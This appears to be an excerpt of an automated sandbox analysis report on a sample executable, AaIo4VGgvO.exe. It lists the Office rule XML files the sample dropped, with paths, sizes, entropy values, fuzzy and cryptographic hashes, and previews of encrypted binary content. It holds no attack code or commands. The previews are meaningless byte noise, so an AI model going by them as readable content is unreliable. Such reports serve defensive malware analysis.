Preview:	<?xml.;$..zji...........,.9.....].....Ff...........e1...l..../.)./B..^I.N-..jh...[.]..I..].R.._WgwK)....Y9.B.,.^......-.(5.FXm."'.b....YY..c.T...8...0z.a....'..l^X.l....ZE.`5-,.%.'..G(...-\|/:...m.GR.d..,..z..m...ep.F$.s..\.............6w.F..U.K]...m.&...i`.h...<.O...8Q7.I9U.c"$.O.....T.#wl..'F4.....n.....R9..YS....O>.q..L&.........b.yei..Z3.eJ..."..0...z.....Q=,......dX.$.{$.....v..".Zy.O(-.oss.9..j.E..c.R...<CGa..82}.;i...v......y..b....2...jw~.&.....A..Y0.R?...A.@{......7.q..\....`t-...)..L...........X{,.n17D(p..,...m.@U..&'...B ..7.#l.........'/c}....!....v...R.p.G^qq:...DW..&....b........t..1..{.e}.q.....<`pe.m..\|@.. . ..[..'S......q.DK.....#.......<.F......`"....1...q.qH...@!.M.2P..b...7.......b....\.K.Y..vdy.}.^{.JR+......3.zz.O..J..7.......;....C.r..\|.G.....R...$.;..Q.#Y..R.Q.r.C.j.-....x\?..3.f.@.........H.>`.. ..JAX...!9."v}.+.t..#......^.. .`........*.z.....m....#=.G......%!s.4.].v^.$...@..[.:^$v...Hi.k8..(t#.?QWN....L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.872777409831182
Encrypted:	false
SSDEEP:	24:IvKqH+KdLJWDDevEjCzBCQ7DRAj5IbX5QtUUWcthZ5K44/CXeDZGczlwa1FYRUbD:xoLRJWDDtI9RxNeUURh/K3/dLER+D
MD5:	0499FFA67CF45DD20ADE7854870A1DC1
SHA1:	3BAA23D5DCDB21701445061DD9F63FEEA0B6E5D3
SHA-256:	AE29DDA265C4477CEB2DEB82615625DFEB084CCCB5D26C4571A6A310CDE9C399
SHA-512:	B3485DE3B6CCCC2A3AE49EEAB439E94ACADCCE7CF4886ED84EBDB89AF32EBE4E1F86DDF1695E4E4F5F34BFB47606BF668E5DA86CFB443C120B4177897689FDB1
Malicious:	false
Preview:	<?xml5.nw>-.bZ.6+.6>.c.8.....).\:......w..f..@8...>.....7.c.{...$.;4..m...0y..E3X.'.H..e.$t...Xibj(.j..2.8x...b......Z..l.q:.s....Jc...U.J.....+..5A...!..3..w.v\|.....k..+t..B.:b....V..:.v..t..}soi.[......c:.V..+_......P.....r.x..2.C<...a...4...!....M.yR,.dE......Gj4P].%..#..SgX.].....9..{3\|R....c........t:.e.k..M...&c..ea.%.~..%..g.`.......Bni..\|z..Em.t.n6Yp..O....=Z.t3y..j..F..1N2.>.1.r.H.,5..Z!..}..A?`V..M.zN(..9..c.4....>3.A....x./.'.2.4...i.'6.".x..T....c...0W'.O..\5.I .{$HT..9"...'.....k.5..fd]....wyW8.8...uck..-)..%v.<C"8E...3.).P.x.`..C.,^.p.@...W..)=..+.e./..s...?......D.l....L..G.H.u..>..0L..k]....}.0j.d.Y..#.....2M3.u.....L..h,..k..$...S4=..5..\C. c... .k.].....;.?.B..;9.`...Z...#OY...4......,...7.ED1.Y..u...L.ia.p].k../.+...\.#).....&...f.jN..z..S..(...\|^..%&..K.u'........XV...[....(K`...au.....4..._".....J....M....x.W.v....'Oy..F.obA.0.5Q..x..-.dFX.t.t-EE.z^..?.R.d.S\|.7... f..D..$...}.......:uT.-c=/Wy0T..9I4..<.].4.u.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.882869450681673
Encrypted:	false
SSDEEP:	48:2fYEP68lj/zIzTUKT6rHjWz94FjAxHd9D:YtlswKGjqB+juF
MD5:	ED7DC22CA4F593B9839F5EE03847A73F
SHA1:	0CD3E64B57B0ECD4BAF3A0B47CFC259068773E95
SHA-256:	7AADABBB237D3B8F3CA1DF4D738B933B0FE7530CCE137E7BBF4C27808E5B47FF
SHA-512:	423159661635A1C34FAD23361890F8C23AF91CAFF5036B4786EF1DAF978217B072E35E8AA5FDD546C708045B991FF57F919074F49EF6B1E8C118426260F85D88
Malicious:	false
Preview:	<?xml......@q...~...r.LW......Z..g.h.7<...Q..A...0.[...C6tJ...z....$k..[k...s`,........48&m..X..x.{VJ.@.......N......f.pZ..@L....<w..q}s_>.l.....6.2.G.h.7-x........y..\.U...SD)%.`.*.......K..[M.,v..........'_.DQ.H.nFl.x;.V..1K.%NO.%..x}.=!]..{C^C-...j .Zt....Z....p>...B...7...V.(..o.>P.5.p.Sz'.VM!}].F...x..c..Ny..m.EK.......,f..6x.V......=9.$n.....n..-.0S.1.q.K....U...9!_H..P....t....".8&.....8(.....5........+..=.8.../D..\.._.Nr...q.d......s.].r..?.v.."<W.P.Y..J./..[...H...=.y>.LR...%....&@XS...r...i ...kd..x..q...x..5;...Sr~c."...fp.{W..&{.th#..Hu...9............._K.pn.dp_..2......&+.......F.....i.._...p.ly..4.Bf.e._`.=L....kc...F.>..{....YrO>.Mhi.\|/.h.k....^..U.......E....4...6B..R.o.T.=..w.8.....)...#.....DR.U.P.Wu.v>N...u......,w.....\|.av..pp.(.W...l.`..E.L..BA..HoA.x..8..vB@.u. .....#Z...&/...$....C..r..7..?..tJ.H/.a...V....Ol...._.X/..F36q.M ..;6\.D....r..M.>..3A.. ..n.3..$.H.).R.RNR.V<.\|]`..2s....+p.....f(..H... .=$.....8z....o.2...T:...Y.M..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.893672397107894
Encrypted:	false
SSDEEP:	48:XvgjnsNvrHL93j0AAUMtTFVENUtmLFPbqHS2MIaD:f+n8vrdj1AUMtTFyNU2xqHAIy
MD5:	9E3E6DD224DF00E2B7576B0763BB4507
SHA1:	CF0EDA5CEE567BF259177DF9420DE6BF765398AD
SHA-256:	8AF9EE04965830E3FEAFE62133C22C2DC51E0C7904451C42B349B2267C36FE4D
SHA-512:	FB259F1C5709BB8439D155C6E9187ADC6A61617B2BCBE7936F0B11B0874BCE802F363CAFCA7E84EB6162B9C7DD103B4E808C07734438733B21CE59EAB5486F28
Malicious:	false
Preview:	<?xml.......'.Rv..!U3..^.+.k..c...y.u...k2Zd...8l.B......9Z......9...!../.c.....Xk^.......l..-+~......7Rc..05..j....x.C`RK._.....O+...7.........deu...>..m.........Y...[..KYwN..Ey.w.n...\Q..Z...I..y..1.).)a..Ex... 5.]..i}..K-..ag.w!.g..W..$....+.x..tCc{`...o@-tS...J.O.Q.....a+.T...(.0...}..S..]&.D+...q..z..$...W3.RO(...P....g.6..U..[...p...v....6..^.r].r...v..../.@.y..]Wl.2.P'..\|.J.iK.\.s..}CQ.S...M...5*.4.."`.x..(..K.....J..9..j... LT..~....dE\|O9..~.[......HGNG..v.dA.#$.^d.......]..z..joX..-+6..`...\d'....\|...mB...(.a..R...\|^.h./Z.#.vM.W........NQ$z..5.l......i.W...p8O...Xqb.\|i.9.Q....}....f..,......W.<.DW}`.I..hv....../..>Q5A.vAEm^.(:.mQ...rT{.3...T...U\|...)...g.o..%=2Q>...7?...I4%.....AW..n.",..0.rt.o.K=w._/...<.A`....y.4re>c(.....7.......xqH...A.o.U~7./.......n....\|&L..Go.(.......c.u..[.[~eo.c....."G...e...../.N....._:.%,Z.+P.ah.,e.<1C.YM!..Ex.......#..cNu.z.....2..+.b.p.Zf.Ot.....G.'.,....^..m.m..7.M.........S{X..&...nhj.Jy.S....bjQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.874624495637206
Encrypted:	false
SSDEEP:	24:lF7MSIknb2BeN94DM4VlCejI1psux2aEpviD9mPc+a6vtVQJfnATuKRHRCwINJaX:0Slnb9ADMulW1pqPcN6lVQJPkDHowIuD
MD5:	1825078F211C9C3EE36AB657F987C4C2
SHA1:	4318AD308F5EE7573357343B21E5C901E7C6D85A
SHA-256:	5D21737D07BA47E7B62D096DD9BA01CC9B9BB4B36C82FA730F18109DBCB68D07
SHA-512:	69F59FF8057466EFEBAEB682C4480A2959166C4FBD0CD3352FF1162435CB5068E3932D58D0B64B2E5D01A13D6BF8EABFB4B21EAF2D7D387C9D09D91DF19FDB69
Malicious:	false
Preview:	<?xml..&..............t%.:.,....U..^.....p.....a..y.5g..._.c.b,-...5......../Qdb... =$.@9Y.@..".."D.r-...........f..O.N8.... ..&f....vk...B.H."l.....,.Cb;&...b....T.um..b.e...Z.R5.\|l.yd.. .^M..~.v.O....a........<..>i)...G..^.BV2-2.~.g..~...(.T}...Bc.b....4\...<1a.mW.\..t.k>.RQ..%l....M.P..B.Kh".fV-.....1(.E....h...@S.....o....PH(9..n.C...-..l.A.N.O.....,.V........_..y.OS.jPr.mJ..>........+.b...'R...vCX.........\j..l..<d.w/.<B ......C%...gq..1.....U..{L.f_c.e..rYf..FF...(%3mF.?...06<=..0H.....#...D..%2..riq....5w..P.:zV....^.<D.....b.$.T........r..{..a...k..m ...&ab.}.A..D.G...[..._\...A2.b.+oQ...H...\|%..1]..#..eWGkp.....e.h...-.f<.3.......N..\|....\|.. D.V.....0.=.j....._B$.......Nos ......h"o.....Kt....Q.\|..R....e1[.y...Y...E.....k..._..\....{.\........<...p....%F..\|..:..q...H...-7.Sz.d..j%(.....{ETfEs...}2.*.D@..'.K....i.ku..%....n.........YN..b.u.@...8..@..o..._.Sp...G..l.j/....+.8.......!.0.....+.2./!...9..'..e.l...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.874039235170568
Encrypted:	false
SSDEEP:	48:MoPPzmDZoYDWc0JYbox7s//7FtoaaUQXMxXKD:MonzqjWTJaLFJCX6C
MD5:	F7B40F9C1B16F9258F2D16225EE27556
SHA1:	00142DD77ECBD84CA5B0DEDC75BE12906AA95125
SHA-256:	BE63AAB94DA6372456015A9B5E732EEEF4F24CB803427B5174FF15532ABC062B
SHA-512:	E9546CB6EB00288F7B5852124AA59E2B4E6C9187A36C49E7FDAFE76508AE83A1EE5DC873A29E2DC9A9F68F7E2F2FAD0419FF7456391040475ABD54A18E083017
Malicious:	false
Preview:	<?xml......~wg..oA..FI..4.@.........G..mMx1@..i[jr.HT...~.=...71A.q.h.b..S.._5=)4....{.....?..F.Z2.o./...j....%..7.c..<J..&n._f...hQ..D.r(.$T.g.J...4.%T.5...`...$.]i....Ll./U.Ip..O....f...3_.........Vs...Df..5....D.].6,..Qab..\|HH.....m..q.%....v......]..r..].?iACa._.W#.7O...].....Co~.."`q.u..H.3.O.. f..:...ld..V..>..Z...n..............y..k.d.............\|...\.....6.!...f.e.....]i,t..\|O.$...p...N..vXs-..LV...!X....{K..m....(U.X..W.....-..]..-AVn.2Eg.....C......0...XH..D.JUZ...%3>....-..1.>...A...:%....@xH....Kg.L..O".t..R..h.m..JX78m.$.m........>?.^.~..T..ZqORMv$U%.B..Fk..c.x...>....Z.<..R.d...`!....HS.pAt....u...L@.`.vz......ZG-.c.e._..F&..\....._1U..+..4V.F......G.;.t.....L]....2..wP?F./.L.-$4..IO....OV.......#...~.:..mQ..?O.5H`.>.._'..P...e...`.pHH..K3Qo....g"@.>....C... .%5..K.....\O...pFx.#E.W).#.n:v.v..w...$...X.7.(....uP.D.Y./........uPs.Y..]o...."..C.NcL;......Y.....<.K{...rq..b...$.......W.7'...a.....M...._....rU

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.888705385730379
Encrypted:	false
SSDEEP:	48:uqdexw6Zzg63yevi1YPzpQxm7X0htOpEUPRi9/x5CCs8aD:uqdQnZ88OqPzSxk9Zi9/ts8y
MD5:	A2E7F0A03CA9D32126E092EB4F73FEE1
SHA1:	AD90FD9605618E1C4DE3C6754E3A5DE806FB3113
SHA-256:	559F18D85F1EF7115FC12AC8A9AA8C1BE8F3319A181E0814D5FDD08D4F2E244A
SHA-512:	9BA3D3BE553DB54E5DA0363346C24DA3350EE2AC631BE536F2CF3B5929FC777248250330AB1DF6788EBD26384B6CDB6A73CCFBD5CA726BB9553F6475C1C8EF62
Malicious:	false
Preview:	<?xml..2.D......t j.p.....J....@;w......@@f9.BH...t{.....;[..a.....4F8..Q.....tA#....,..7.a..d....%..?i.a..e.Xu3....F..-[.L...j..9..\|dI.8.cU.C.s......&(....e...p...,[..........NtzI '.Y..9....xm.....W.?...Y.?L.&]}r.g{./#;.X...?..A....<..3.J.{......-.4q.E...!....-..<..N~.Z?.....C++..E.Tw.............<..F.\..i.w(.!W.ai..$.]..lzS....'.8.....]F..QX..:...c....fk.....9..Y.>.GR..W..m&...A8&.........E....P%.6...........!....>.?>.KP....h0....}.m...kt..f.\|.c.......;....hm.$..5,..}K.4...B.VK.]....QefU~..i..=...=........Y.n....w.@.g..}.!.h.Z...d...Q].~x.7.>........d.....D......?.w......N...(3...`...#...x...]..[6.c:Gy.3?.q..8fEC&.L..13_9..(,>......Q.W=..l."+.....P...`.UjO.......<.b.&..U1P+.{$....}:.b@b...-m.1....6..e#...xLW...,.w.M..H.]._.?G....Hl...(...jh..}%.......~B..M..Ca..g..ZA\..9.gKky.M.&.K..A..@}..E?....3...N@OT)Qv.u.n...}Y..k.\|..(.u.G..<..:..["L.Yb....&.Y~.....b!1.:z.q..\|..E..g...-..<.K<.C..7W.H.."..?.P..~.../.......[.n8$qfw.(}@.Q..+.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.876728382369445
Encrypted:	false
SSDEEP:	24:DXxHmTT8ssEaVBHUvp9aS7RU4mBCfGX7ond/pg4uVoFR3tZm535TPOfODrqwKP9J:rgsssEZvpY+kBCYn4u0SL2OPGP9Gn0XD
MD5:	A08B64EFE92B148C8C6651C227737DD7
SHA1:	BD09B2E5BD3F9E64CB827EEB1890A863AC8773DA
SHA-256:	64B842D345F734CEC96E5669A6BEE4351533DF1DBF9AEF91C6CF40CBFB89A845
SHA-512:	484C3DF700ABE3010D36DD308F4750F15388208C084B31159EB9ADAD3304DD108610F33A974E5B1B40885219464C0DC1BFFC27025FB1291A5907955859BA7481
Malicious:	false
Preview:	<?xml.ON%...b.Z.._u.b...Q.<..1..x/.6K..W.D....~....b5t......-.4K.....#...h.S..W.\|1...).........k.;.Mu2.Hp..l..9.Q..mP4.#.Ms.dW.M<.....3.."^..........g.5.ab.....X.t......V........<.G...6..%...KV...A..)x.......#......S9.'l..U.].....(_..l/..=..X.D..C....J..{>..5.%=....q....L..OIA=.x...@A......<...t...u.....#.......:.%..!.i.o5.......W..j..<.`zZ..O...2....sG7u....D....V$....\.....8>W...".R....$iI.>....T@'.2...:...<....$..{..g..o.b$.......EbM....>.^]....,..G.}..(. .F....ML.V[.......,RNO....n.ja.'...../..0t..}.'..VW.VSO..#2.W..........V...r.;...2{T...\|a8...ROP..F?.)...I..f.]...$\.....W.C^....}....@....N.)O.......V.g...I..n5E..<........q.A@.....}L.+i...0K........B..f?..q...A8.[56C.7).9x@...M>?.^.b...Wv..1.`\|H.S.>.5...;.....XuU.0{.F....rUy..~)H).......`B...i..Dr....,..2..!.....I.n+s..2w.(.W......E..K.=v..{.}._..O[....z._..4(...p.+\...'.'}/F.....B..-\+.].@..R..m........R ....9oh.I.r\|.d..:.e`.F...27{...a.4Sx.z.OuQ....9.d...s?..p.....\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.885125252811339
Encrypted:	false
SSDEEP:	48:1HEOQKlN3rSwfscZDlZPuVIFxKEXi+V+D:1HvnSmD1uBEXBG
MD5:	32C60AE993041D57F56B9D90721A257A
SHA1:	E053F7FE731759ACC145110EC2C8E4AA4F3F9BAE
SHA-256:	61F4FDD67BA33220CA5FC8A0BAE4AB2C8F6EA2D19D0E8A539754FE743046AEDA
SHA-512:	95075FCE321C2646F18852AF7FBC0181EBB2CBF5D625AAB90A6FE36189746CFF70B5284AE7CC81084851ED60AE25B5F9A55C501315694EA07C62D62AD2AF9716
Malicious:	false
Preview:	<?xml@M.8).....o...y]...+..i.]cy.m.,...&m..JP+...-l".y...'..E.m...m........c4...:..F....m.....1e.@..A..q;8..=.J.......\..yr....{=.Q.sJ...".&_..T..y....h.y...B..<..r\|?.......V.....a..sc.2:Y...9...+c...Y2.>..... .I9v.@.....o....]h..`.m.....,......{..;...%.I..j.....Cai<....5....+.xD.~.Y...E........U..Cv....g_t..t.xQ$Zf1."c.;.!..........xHo..dt...9.........../...7..b..\.+.p...8)~z9h.=4...I..f]F1....R..MV~......S.:..2.l.k..a.....J\P.......t....b6....#.\..R@..!...F1.M\|.k.!.`Y-...:......`.y.O....E........&.......S.....s......Hu.$.>.C.@_.....n.F^.l^<....].M.....XK.@.D..&PM.g.>.i./rV..?.......\|J}xrlB(.]....9o.y..K.a..Lx ...`j.7"...q*A..I..".+.S\4V.dUl.y..h.S.@.2Ks..B...(t0+Y...n..-..:.[.f..Yf.5.@...+@\@+.2....6w..u.N...........q..?8....k.n@...A..<n`..~.p.w.S...fV#.....6i...r9..........(.c.......Sj.2..k......P.{...f..z..'.......$V......,V.E.......... ..T).y.AROB.=B..f...l..;z.%.....`t..(..y....{...%..b...h..p8.f...LK...N.T...>.WG.K......../.6...B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.876169632392191
Encrypted:	false
SSDEEP:	24:G8t3KehM71SGLW+wRWgZB1qzUIlG+kGKtF3Vu93N+FiVuat3CU9Ml+L4khWbD:lgTWrRWlUm+tFFcMA7tyUuloxED
MD5:	2677B0F898E382037788E93F03CE08C5
SHA1:	465F283BA6F0F2406167C8F8E73DD4DEB69209BE
SHA-256:	53E0622A2EF425B99E19FFBFFF7C344BA858DBBEDDBDEEE2293E5CE1AE3F42A4
SHA-512:	2B4B559EAF2F9EEAED8E652125AF7D8ECDE409BE05107A0C9948745DD408B0964D99C4386E8BC39AB9265EA36F2E553913608694EE76026C3DB521E594CD361C
Malicious:	false
Preview:	<?xml.,...I5...w......Z..QD .......i.Oj...8...R.&.(e.....Td......Id...ixLvF=.i(.7..F.FI..D..D.B.(.KC...A.~y...}!.]0.U.f...`R.-.H....q..B..t.M]..D.a.~.mhSV?.3.....3.n...k../..._H+...d!...a.9T.u.c......./U..kr..RA...&t.2....',...}.....yW.ez........m.Pw:x-..........m)(...>t9........g....Hk.d@...6.[.\|...%..{.......#$h.S&YZ5YI........h...]#..A..k.ioh...Za.C.RT...a.{........8G.....L?.y3...<..Rc.Fh./.]f-.7q&...s$.Vxi..~H...g.V.J.V..Z...<.G...f@........U....f<....>..l...D...<...u..5..?..;......}........{...F.d_d..ahU....&-~....}....\|...VL....;..S/Y<-.......C...1.u.C...m2X...}.rm`aC..P \.V.A...t2...N.X....-.....79.<..Z.Ba&r..A..'.i..H....`..F^-(..V\|.`..lM...Q&..n.c.....dt.d.?...RxGe..T.......]...;.\|....o.7.../...#.C....T,K..K,..j.....,;.X..\.NqA...\.m/.;.=..1...7...0a.... ...rG\|@=h...\p....R..x..i{.H+..a....0.... .U.e.mg'..a....j...q]..T.N..&.....}...A.wJ..#...<.^..je..n..n._g..}i..... h......s....2.{..r..Q.Nz.o.4.MK.L*v..>...BYL.........tF.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.899854573642148
Encrypted:	false
SSDEEP:	24:sQ5EL44OVBnBaAcqRXnr6egMPA6iu1cxSp0EYGAW6cAor/zba3Y4tqbpnJmssqO2:x5RdaFs3rXgMxiu1dAW6cNrbKYTKqOOD
MD5:	6D308F23F7EE1A5B3DF9F51D38CA8776
SHA1:	43A447BA37D800BFAFF2D31A5CD704834B33D2C7
SHA-256:	1A25AF286F0D6CF8E5CCB7B1F84FE16B3C8C86D24DE2F8C30756FB2BCA2DA035
SHA-512:	78724D70CD483DDDD5C2C68FD3BB294F006724719ACA1B84D915311FAB92B2C56A7E7A1EDA9B79A0420C48B2D2D116D469F4165C543BF739C04CBAD62B369D17
Malicious:	false
Preview:	<?xmll...j..5S.y.....2..h.6)t."....../.].......{..t'F.Z.....n&O.....ko.Z......<....."y.8oh.A.6.....z.-{..u8.. tD.R.....dV.\|0.v`i.LCJ.......y.Zz..a....U.j.L..*)...K-/.hYhhX.'.a......b./q..#.K..5..sGy8P.....q/...qk.F.wz7~!...g../..@.&........ez.DZ..5I........!..Yt.&..}...>m......7.\|.....P..~.....C...{.1..[H.+.@x..u`.......^QB-j6.OE....I`.O..,.C...`.63..f...e..f9C.M.pm.'.]C1.PR.o.'.......2.h.$..k...V/Y....V..r.T...q.64F.t.j.b....h..:jtu..r..W.3.F..C.x..1..........A.....lF...h...t\Z..,nyH.E.$v2]S....xx._.....U@a....Q?^...C.1D..........<..~....4%...GMFi....Sl.g<uoXtJY..&.`...U.c?.......X..es.,YJ(.C.....z........;Q.........../.}Y.x...^.Hq..ya.....]{.V..#~.f..v......"=.Kc.4.J......SI...6.\...bS\...`W>.r.....9%O......qu..,.......7.]yy..d. 2..I........#..mV.V.0.j..1...USj.`...>..p.N.P......%^eu.}v'Is.P...i......s...,.YMO....z....5...8.qq..`...P@.o..z.SM...bE.Y^3.$...R..d.....W.sU..yR.D=U..ni........."H4_.qp..v.;p..M.pu8....7.C..x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.886661799620142
Encrypted:	false
SSDEEP:	48:tCvgwo+B/XO/maOKBv+HOXxxY3VxdDy5qJD:MFSma5JtXxxY3Rlh
MD5:	B095CD235CD289167BDE753EDD86A479
SHA1:	0B0CEA5489990EFFA0D135D6D57AAFC669829C58
SHA-256:	6A931230A888BB769EC0AA07C921C088FE788E7D3ABAD5915CFD98F6F591EEC2
SHA-512:	EC4A597F5125DDFEAC646F1F8CD5D39E9492A4B10458AD66FEB258C7E0ABF11FC6BA6EA833F7E5646CCD0475558C6EC02E6880FAD62F83352562FFF6C6AF03AD
Malicious:	false
Preview:	<?xml...P.\.H/.T.[s9..;....\.gp...I.....@........0.......%..j..}..sp..b....jX!a]9x]..S....i;.......d..].....~..j..5........QW.\|M..c\|....V.>Z.1+wkR.,...U..D.p..i7...'..[.U..t.F-...F...9..,.e..'Ql.=z...66...hw..Ou..7@..<........#Y@...R...\..N.0...M..<n8........S}..%.......A.iF.?).}....N...q.......N"...}....8..b{;.3..(..XD....H3......&........G{.g..fZ5....G........=.........+.?....k.y#...k.b.....6r...8..@.(-..$)...>....@%`..`..m......^F..X.)[.....6.J.g.....2a.....=...CL..wS.L.~lA.f+gN....[.#c...].....^.....!.....zeo+...:._.F:7..W...QD#.o.....An.St.0..W.4\| .L...!...u..n-...O2'\|i.3._.f1.\|......0.].'....-.\|....H......R.......}....B.........l...SMS....H.O/o...9".-......0..g=.....Dr..]....\.......+}u...!Z,..6F....i.[.p2K..et..8.).p7..A.:.]?....q....xXs6......l..i.\<....@./!w.nu5..zk.Ui8k\.b.f.{..aQ...5.b.H....84.A......X.e.,.........Yb.C.....a.`.[..P...A.....t..x..RR.F.qwD.tGg-..[{...)....2M........*d.t<..V.....?/Y.aK...d...27In.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.881048466145108
Encrypted:	false
SSDEEP:	48:KRHtnI+9hBYf4Q/S8TZ5KFErDREUhPdiEYc+D:KJtI+/BYfn/tTvrDiwdiEQ
MD5:	F8FF122A1E067D61E7A145B6137F1D9C
SHA1:	35CB10D22F76D0C794864C299B99661BD7A37F52
SHA-256:	96B7FA6E8F9A2FC545BA77B7C4B4924DEC8358BF92512018C98C46FFD6D638E3
SHA-512:	497F215F444C61B8D5085DD7F3FE026D813C8C5D5B3A0AECAC3AB34F76E5A237ED298A74508798CB27D478B7B57051E1152EC7EE8B7413616ACF695D82463FB2
Malicious:	false
Preview:	<?xml...Ck...S...iQ..L.k.MBt.FocDY.J3\...._..D<sd...RIb!.k.0.OI\p.H-\..Y.l...d."]p\%0q.......o.w.....y..GT..f..HX.y.?.....k.'.$...(.0H.!4jgC..+....PU5..U.N.nQ'...^.7Q...D..L.!...X.b-..9../.....[...n`iO.-..P\|.....k... F.......:.......M....P.)./....+.]C.b...J..x>.]W..2.pe.')-#u........Tb.....<V{../fT%..zVS.....q.@,uB.(2h..r.....k..K..D.R...K.......2..Z...m...b.A.,"q. .d..4...O._..@G...0.{..i.h..A`3....q.8...;od..&..r..9.c^\|....!,.w;.......;.."l.o......O<.#X...#(.!$%......q.Qs.......q.Qk....s......).....S.^...I...!YC#X.0..........B2...0...N[T*.g.u. .5..tc.=....C$.d=........H@.3.gC0r./.:..O.#..q../..+..0k[...........v..E.T..b...)....i.d..A0.[V..1.x..kA....^.V.-.\|e.v....'.%..+..D.....6..b.M.~......xu......).....H.u)..N..9.&...H=.i.X:b+ a.[$...BHc.....4..e....g@..........U.".i8.A...RM=..:E.d3X.y.b...YF...G`.I..H>....Q.\..I..s.sk..&8a2.?.....b`......K.7.i.X=h@:..w.T&....8.NL.q...E._d..[..[.W.g..81.=.;.;.O)........V3.4...d..\r..{8...ul..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.89375969218514
Encrypted:	false
SSDEEP:	48:btbdoscla+nehYikxWERsWOXq+Zvf9qwpy2t7bDD:bpRce6TsWO6kvFqgy29
MD5:	C9D89B34AE6F19FC3660E8EF6403F53E
SHA1:	780C4F1A572A5D42ED9FDDA1A789F26DF9E58597
SHA-256:	323C67FF769C9955BA09924AF753EDCB93FB59496FE5BEAEBD85467387871D7D
SHA-512:	1B32DE1890E8E12217B2C937E7B3727E5D2149B477B90384F0AD2A55D42FA0CEBC9F9BCE7D585BD9C53E58D82A510AF6461F0AC163A2DFA6686634E3BF0425E7
Malicious:	false
Preview:	<?xmle..E.Ym.q...X.,..".-wF...G....8...u.+.e......4...pF..:..R\.......2..b]...=G..O,...!.(....q........e.....=....wl.Chip.z.........A],..c;..I.x.1.y....SQO.~....#pYeb'.KH...w.&.).r.s....Z/hp..sa...ki...`=-.=X.>[.A.6.T\|..'.$.........P.../VoK. #..#).%.Yio.P.{.9E\qr..'.^...ia....b5....4naN.....3.6.TA.......+..D.u.&7..E....y..=qr..H...4.Uk.[m..c....a]KG.f....V;)8..f4...cr...'..EBMSe[>....cO.p:.y....Z.@.!m..<IT.....2...Y97sL&z......!...e....=.ph7.!E..{A[.....O.....u.1..r......60.....l...\|.Y...)(ws.yP.M...1Z.n..r..s_dPl.\|%..B...3..l..9.<...j..Mo....[...:K.U...X.}b2....t ..w.<.z.+.Q.W?..g..g.&>...;...p'G...A.=.p....I.o.{..gF....3%.M...3.tbf..3..M..@...'=N.......N.qi.i8k#_-T....+...].g.&..n.V..y$4~.iO..l.R..E...e.&..(..i..vj.C..........=(!N.^........\|.v..ER2..._d]........h...x......R.]c..IG+...w.o...{....B.r....aE...6.^....._..ww...Y%.k+...A..1L@v._sh...N.3$ A..._..K:..6...U.Tf.I...a..ss2.y....5..........oI...f..%..k..o.....VI..$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8922115507220765
Encrypted:	false
SSDEEP:	24:oRk1LXIk8BSLhNXOODJLV9xnB2/43OO+BA8dQxRISEYb5OW9fpNv4xl7UnuMt2DX:QUYGiELV/BetOI2PIAAW9fpNEVpD
MD5:	B6F409803B92D355DBE6B206FD0CE288
SHA1:	934F310A394C0F9D2B2212B177C8568107387FC6
SHA-256:	4C337601323364BD7F813B7B2829F22CB1AD45634AA677561A41E8464EF65A24
SHA-512:	E02F282EA13C5EC2214C246DC3AE3EAE82B33A81C8FC58DBB3F6A397B89081D07958404B6AF81240AE257250B37E813410D61DE587C4F2020A9550F07DC91629
